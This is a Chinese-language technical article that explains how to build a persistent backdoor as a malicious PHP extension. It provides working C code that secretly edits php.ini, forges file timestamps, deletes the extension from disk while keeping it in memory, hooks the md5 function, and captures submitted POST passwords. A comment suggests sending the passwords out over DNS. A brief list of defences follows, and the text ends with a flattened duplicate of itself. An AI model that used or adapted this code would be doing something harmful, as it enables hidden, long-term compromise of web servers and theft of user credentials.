修改PHP扩展作为持久后门
字数 890 2025-08-18 11:37:28

PHP扩展持久后门技术详解

概述

PHP扩展后门是一种高级持久化技术,通过修改PHP扩展模块实现隐蔽的后门功能。这种技术具有以下特点:

  • 隐蔽性强,难以被传统安全设备检测
  • 可以绕过常规防火墙规则
  • 能够与合法HTTP请求混合,降低被发现风险
  • 可实现对PHP核心函数的Hook,获取敏感信息

技术原理

PHP扩展加载机制

  1. PHP解释器启动时会加载php.ini配置文件
  2. 通过extension = path/to/our.so指令加载自定义扩展
  3. PHP扩展主要关注4个关键Hook:
    • MINIT:模块初始化时执行(通常以root权限)
    • MSHUTDOWN:模块关闭时执行(通常以root权限)
    • RINIT:请求初始化时执行(以Web服务器用户权限)
    • RSHUTDOWN:请求结束时执行(以Web服务器用户权限)

持久化机制

  1. php.ini的隐蔽修改

    • MINIT阶段删除扩展加载行
    • MSHUTDOWN阶段恢复扩展加载行
    • 修改文件时间戳保持隐蔽
  2. 扩展文件的隐蔽

    • 加载时将扩展文件映射到内存
    • 删除磁盘上的扩展文件
    • MSHUTDOWN阶段将内存中的扩展写回磁盘

实现细节

php.ini隐蔽修改

int modifyExtension(int action) {
    char *source = NULL;
    char *needle = NULL;
    FILE *fp;
    size_t newSize;
    
    fp = fopen(PHPINI, "a+");
    if (fp != NULL) {
        if (action == 1) {
            if (fseek(fp, 0L, SEEK_END) == 0) {
                long bufsize = ftell(fp); // 获取文件大小
                if (bufsize == -1) return -1;
                
                source = malloc(sizeof(char) * (bufsize + 1));
                if (fseek(fp, 0L, SEEK_SET) != 0) return -1;
                
                newSize = fread(source, sizeof(char), bufsize, fp);
                if (ferror(fp) != 0) return -1;
                
                source[newSize++] = '\0';
                needle = strstr(source, LOCATION);
                
                if (needle != 0) {
                    FILE *tmp = fopen("/tmp/.tmpini", "w");
                    fwrite(source, (needle - source - 11), 1, tmp); // 11 = len("\nextension=kk.so")
                    fclose(tmp);
                    rename("/tmp/.tmpini", PHPINI);
                }
                free(source);
            }
            fclose(fp);
        }
        if (action == 0) {
            fwrite("\nextension=", 11, 1, fp);
            fwrite(LOCATION, strlen(LOCATION), 1, fp);
            fclose(fp);
            fprintf(stderr, "[+] Extension added to PHP.INI\n");
        } else {
            return -1;
        }
        return 1;
    }
}

文件时间戳伪造

struct stat st;
stat(PHPINI, &st);

// 修改文件后恢复时间戳
struct utimbuf new_time;
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);

扩展文件内存映射与隐蔽

// MINIT阶段
PHP_MINIT_FUNCTION(PoC) {
    int fd, check;
    struct utimbuf new_time;
    
    // 1) 获取文件大小
    struct stat st;
    if (stat(LOCATION, &st) == -1) return SUCCESS;
    filesize = st.st_size;
    
    // 2) 打开文件
    fd = open(LOCATION, O_RDONLY, 0);
    if (fd == -1) return SUCCESS;
    
    // 3) 将文件映射到内存
    mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);
    close(fd);
    
    // 4) 删除文件
    remove(LOCATION);
    
    // 5) 获取php.ini时间戳
    stat(PHPINI, &st);
    
    // 6) 修改php.ini并删除扩展行
    check = modifyExtension(1);
    
    // 7) 伪造时间戳
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;
    utime(PHPINI, &new_time);
    
    return SUCCESS;
}

// MSHUTDOWN阶段
PHP_MSHUTDOWN_FUNCTION(Allocer) {
    if (mapedFile == MAP_FAILED) return SUCCESS;
    
    int check;
    FILE *fp;
    struct utimbuf new_time;
    struct stat st;
    
    // 将内存中的扩展写回文件
    fp = fopen(LOCATION, "w");
    fwrite(mapedFile, 1, filesize, fp);
    fclose(fp);
    munmap(mapedFile, filesize);
    
    // 恢复php.ini设置
    stat(PHPINI, &st);
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;
    check = modifyExtension(0);
    utime(PHPINI, &new_time);
    
    return SUCCESS;
}

Hook PHP函数

Hook md5函数示例

// 原始md5函数hook
void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {
    php_printf("[+] Hook called\n");
    zend_string *arg;
    zend_bool raw_output = 0;
    
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
    ZEND_PARSE_PARAMETERS_END();
    
    php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));
}

// 在MINIT中设置hook
PHP_MINIT_FUNCTION(PoC) {
    zend_function *orig;
    orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));
    orig->internal_function.handler = zif_md5_hook;
    
    // 其他初始化代码...
    return SUCCESS;
}

捕获HTTP请求参数

获取POST参数示例

// 在RINIT中捕获POST参数
PHP_RINIT_FUNCTION(PoC) {
    zval *password;
    zval *post_arr;
    HashTable *post_hash;
    
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; // 获取POST数组
    post_hash = HASH_OF(post_arr); // 获取HashTable
    
    // 查找特定参数
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
        // 可以将密码保存到文件或通过DNS外传
    }
    
    return SUCCESS;
}

防御措施

  1. 文件完整性监控

    • 监控php.ini和扩展目录的文件变化
    • 使用文件完整性检查工具(如AIDE)
  2. 行为监控

    • 监控异常的PHP模块加载行为
    • 检查未知的PHP扩展
  3. 权限控制

    • 限制对php.ini和扩展目录的写权限
    • 使用SELinux等强制访问控制机制
  4. 日志分析

    • 分析PHP错误日志中的异常模块加载信息
    • 监控异常的HTTP请求模式
  5. 代码审计

    • 定期审计服务器上的PHP扩展
    • 使用静态分析工具检测恶意扩展

总结

PHP扩展后门是一种高级的服务器持久化技术,具有极高的隐蔽性。安全团队应加强对PHP环境的监控,特别是对核心配置文件和扩展模块的变更监控,同时实施严格的文件完整性检查和权限控制,以防范此类高级威胁。

PHP扩展持久后门技术详解 概述 PHP扩展后门是一种高级持久化技术,通过修改PHP扩展模块实现隐蔽的后门功能。这种技术具有以下特点: 隐蔽性强,难以被传统安全设备检测 可以绕过常规防火墙规则 能够与合法HTTP请求混合,降低被发现风险 可实现对PHP核心函数的Hook,获取敏感信息 技术原理 PHP扩展加载机制 PHP解释器启动时会加载php.ini配置文件 通过 extension = path/to/our.so 指令加载自定义扩展 PHP扩展主要关注4个关键Hook: MINIT :模块初始化时执行(通常以root权限) MSHUTDOWN :模块关闭时执行(通常以root权限) RINIT :请求初始化时执行(以Web服务器用户权限) RSHUTDOWN :请求结束时执行(以Web服务器用户权限) 持久化机制 php.ini的隐蔽修改 : 在 MINIT 阶段删除扩展加载行 在 MSHUTDOWN 阶段恢复扩展加载行 修改文件时间戳保持隐蔽 扩展文件的隐蔽 : 加载时将扩展文件映射到内存 删除磁盘上的扩展文件 在 MSHUTDOWN 阶段将内存中的扩展写回磁盘 实现细节 php.ini隐蔽修改 文件时间戳伪造 扩展文件内存映射与隐蔽 Hook PHP函数 Hook md5函数示例 捕获HTTP请求参数 获取POST参数示例 防御措施 文件完整性监控 : 监控php.ini和扩展目录的文件变化 使用文件完整性检查工具(如AIDE) 行为监控 : 监控异常的PHP模块加载行为 检查未知的PHP扩展 权限控制 : 限制对php.ini和扩展目录的写权限 使用SELinux等强制访问控制机制 日志分析 : 分析PHP错误日志中的异常模块加载信息 监控异常的HTTP请求模式 代码审计 : 定期审计服务器上的PHP扩展 使用静态分析工具检测恶意扩展 总结 PHP扩展后门是一种高级的服务器持久化技术,具有极高的隐蔽性。安全团队应加强对PHP环境的监控,特别是对核心配置文件和扩展模块的变更监控,同时实施严格的文件完整性检查和权限控制,以防范此类高级威胁。